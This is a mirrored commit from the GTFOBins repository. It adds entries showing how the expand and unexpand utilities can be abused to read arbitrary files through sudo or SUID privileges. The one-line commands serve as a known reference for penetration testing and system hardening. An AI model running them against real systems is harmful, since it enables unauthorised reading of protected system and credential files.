mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-15 00:01:45 +01:00
Add expand, unexpand
This commit is contained in:
parent
3b59c85656
commit
33a485b2b9
17
_gtfobins/expand.md
Normal file
17
_gtfobins/expand.md
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
---
|
||||||
|
description: |
|
||||||
|
The read file content is corrupted by replacing tabs with spaces; not binary-safe.
|
||||||
|
functions:
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo expand "$LFILE"
|
||||||
|
suid-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./expand "$LFILE"
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
expand "$LFILE"
|
||||||
|
---
|
15
_gtfobins/unexpand.md
Normal file
15
_gtfobins/unexpand.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo unexpand -t99999999 "$LFILE"
|
||||||
|
suid-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./unexpand -t99999999 "$LFILE"
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
unexpand -t99999999 "$LFILE"
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user